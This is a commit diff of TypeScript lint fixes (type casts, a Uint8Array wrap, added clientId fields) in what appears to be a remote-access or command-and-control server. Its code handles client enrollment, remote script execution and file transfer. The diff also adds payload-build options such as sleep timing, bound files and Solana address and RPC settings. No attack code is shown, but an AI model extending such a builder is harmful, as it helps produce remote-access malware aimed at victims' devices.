fix all typescript lenting errors
This commit is contained in:
@@ -101,6 +101,10 @@ type BuildProcessConfig = {
|
||||
outputExtension?: string;
|
||||
sleepSeconds?: number;
|
||||
boundFiles?: BoundFile[];
|
||||
solMemo?: boolean;
|
||||
solAddress?: string;
|
||||
solRpcEndpoints?: string;
|
||||
iosBundleId?: string;
|
||||
};
|
||||
|
||||
|
||||
|
||||
@@ -18,7 +18,7 @@ export async function computeContentDigest(zip: InstanceType<typeof AdmZip>): Pr
|
||||
if (entry.entryName === "signature.json") continue;
|
||||
|
||||
const data = entry.getData();
|
||||
const hashBuf = await crypto.subtle.digest("SHA-256", data);
|
||||
const hashBuf = await crypto.subtle.digest("SHA-256", new Uint8Array(data));
|
||||
const hash = Buffer.from(hashBuf).toString("hex");
|
||||
fileHashes.push({ name: entry.entryName, hash });
|
||||
}
|
||||
@@ -30,7 +30,7 @@ export async function computeContentDigest(zip: InstanceType<typeof AdmZip>): Pr
|
||||
export function extractSignatureFromZip(
|
||||
zip: InstanceType<typeof AdmZip>,
|
||||
): { algorithm: string; publicKey: string; signature: string } | null {
|
||||
const entry = zip.getEntry("signature.json");
|
||||
const entry = (zip as any).getEntry("signature.json");
|
||||
if (!entry) return null;
|
||||
|
||||
try {
|
||||
|
||||
@@ -42,7 +42,7 @@ async function compressedResponse(
|
||||
headers: Record<string, string>,
|
||||
): Promise<Response> {
|
||||
if (!isCompressible(headers["Content-Type"] ?? "") || !acceptsGzip(req) || body.byteLength < 1024) {
|
||||
return new Response(body, { headers });
|
||||
return new Response(body as BodyInit, { headers });
|
||||
}
|
||||
const compressed = Bun.gzipSync(new Uint8Array(body instanceof ArrayBuffer ? body : body));
|
||||
return new Response(compressed, {
|
||||
|
||||
@@ -43,12 +43,14 @@ type PendingScript = {
|
||||
resolve: (result: any) => void;
|
||||
reject: (error: any) => void;
|
||||
timeout: NodeJS.Timeout;
|
||||
clientId: string;
|
||||
};
|
||||
|
||||
type PendingCommandReply = {
|
||||
resolve: (result: { ok: boolean; message?: string }) => void;
|
||||
reject: (error: Error) => void;
|
||||
timeout: NodeJS.Timeout;
|
||||
clientId: string;
|
||||
};
|
||||
|
||||
type ClientRouteDeps = {
|
||||
|
||||
@@ -36,7 +36,7 @@ type PendingHttpDownload = {
|
||||
|
||||
type DownloadIntent = {
|
||||
id: string;
|
||||
userId: string;
|
||||
userId: number;
|
||||
clientId: string;
|
||||
path: string;
|
||||
expiresAt: number;
|
||||
@@ -45,7 +45,7 @@ type DownloadIntent = {
|
||||
|
||||
type UploadIntent = {
|
||||
id: string;
|
||||
userId: string;
|
||||
userId: number;
|
||||
clientId: string;
|
||||
path: string;
|
||||
fileName: string;
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
import { authenticateRequest } from "../../auth";
|
||||
import { AuditAction, getAuditLogs, logAudit } from "../../auditLog";
|
||||
import { logger } from "../../logger";
|
||||
import { getConfig, updateSecurityConfig, updateTlsConfig, updateAppearanceConfig, updateChatConfig, getExportableConfig, importFullConfig, updateRegistrationConfig, updateBuildRateLimitConfig } from "../../config";
|
||||
import { getClientMetricsSummary, getClientMetricsSummaryForUser } from "../../db";
|
||||
import { metrics } from "../../metrics";
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
import type { ServerWebSocket } from "bun";
|
||||
import { v4 as uuidv4 } from "uuid";
|
||||
let _geoip: typeof import("geoip-lite") extends { default: infer D } ? D : never;
|
||||
let _geoip: typeof import("geoip-lite");
|
||||
async function getGeoip() {
|
||||
if (!_geoip) {
|
||||
_geoip = (await import("geoip-lite")).default;
|
||||
@@ -12,7 +12,7 @@ import * as clientManager from "../../clientManager";
|
||||
import { clientExists, setOnlineState, upsertClientRow, getClientEnrollmentStatus, setClientEnrollmentStatus, lookupClientByPublicKey, getClientPublicKeyById, getBuildByTag } from "../../db";
|
||||
import { logger } from "../../logger";
|
||||
import { metrics } from "../../metrics";
|
||||
import { decodeMessage, encodeMessage, type WireMessage } from "../../protocol";
|
||||
import { decodeMessage, encodeMessage, type WireMessage, type Hello, type Ping } from "../../protocol";
|
||||
import * as sessionManager from "../../sessions/sessionManager";
|
||||
import type { SocketData } from "../../sessions/types";
|
||||
import type { ClientInfo } from "../../types";
|
||||
@@ -515,7 +515,7 @@ export async function handleWebSocketMessage(
|
||||
logger.warn(`[purgatory] failed to send hello_ack to ${resolvedId}: ${sendErr}`);
|
||||
}
|
||||
|
||||
await handleHello(infoObj, payload, ws, ip);
|
||||
await handleHello(infoObj, payload as Hello, ws, ip);
|
||||
clientManager.addClient(infoObj.id, infoObj);
|
||||
|
||||
const reconnectedWithinGrace = cancelPendingOffline(infoObj.id);
|
||||
@@ -565,7 +565,7 @@ export async function handleWebSocketMessage(
|
||||
break;
|
||||
}
|
||||
case "ping":
|
||||
handlePing(client, payload, ws);
|
||||
handlePing(client, payload as Ping, ws);
|
||||
break;
|
||||
case "pong":
|
||||
handlePong(client, payload);
|
||||
|
||||
Reference in New Issue
Block a user